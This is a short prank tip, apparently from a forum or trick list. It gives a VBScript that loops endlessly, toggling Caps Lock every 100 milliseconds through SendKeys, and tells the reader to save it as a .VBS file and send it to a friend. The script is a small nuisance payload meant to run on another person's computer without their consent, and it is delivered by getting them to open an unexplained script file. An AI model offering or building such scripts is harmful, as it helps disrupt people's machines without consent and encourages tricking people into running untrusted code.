Toggle your friend's Caps Lock button simultaneously:

Type :
   
Code:--->
Set wshShell =wscript.CreateObject("WScript.Shell")
 do
 wscript.sleep 100
 wshshell.sendkeys "{CAPSLOCK}"
 loop

   Save it as "Anything.VBS" and send it.